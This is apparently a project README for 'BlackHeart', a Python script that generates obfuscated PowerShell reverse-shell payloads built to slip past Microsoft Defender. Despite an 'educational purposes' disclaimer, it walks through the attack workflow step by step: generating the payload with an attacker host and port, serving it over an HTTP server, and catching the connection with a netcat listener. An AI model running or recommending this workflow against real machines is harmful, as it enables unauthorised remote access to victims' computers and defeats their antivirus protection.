BlackHeart icon indicating copy to clipboard operation
BlackHeart copied to clipboard

BlackHeart is a simple python script to generate powershell scripts that demonstrate reverse shell gaining without Microsoft Defender restrictions. (FOR EDUCATIONAL PURPOSES!!)

BlackHeart


BlackHeart is a simple python script to generate powershell scripts that demonstrate reverse shell gaining without Microsoft Defender restrictions. (FOR EDUCATIONAL PURPOSES!!)

Updates

04/09/2022

  • [X] Added basic obfuscation to reverse shell file.
  • [X] Bug fixes.

Setup

You can use simply the following command

pip3 install -r requirements.txt

Usage

  • First of all you have to generate a template for your shell.
python3 blackheart.py --lhost YOUR_IP --lport YOUR_PORT
  • Then you have to open a simple http server to serve your template.
python3 -m http.server
  • And you need to open a listener port to listen incoming connections.
nc -lvp 4545

PoC

https://user-images.githubusercontent.com/42123683/188307621-dba04ee0-5cb3-4c72-94dd-d1ee95661a50.mp4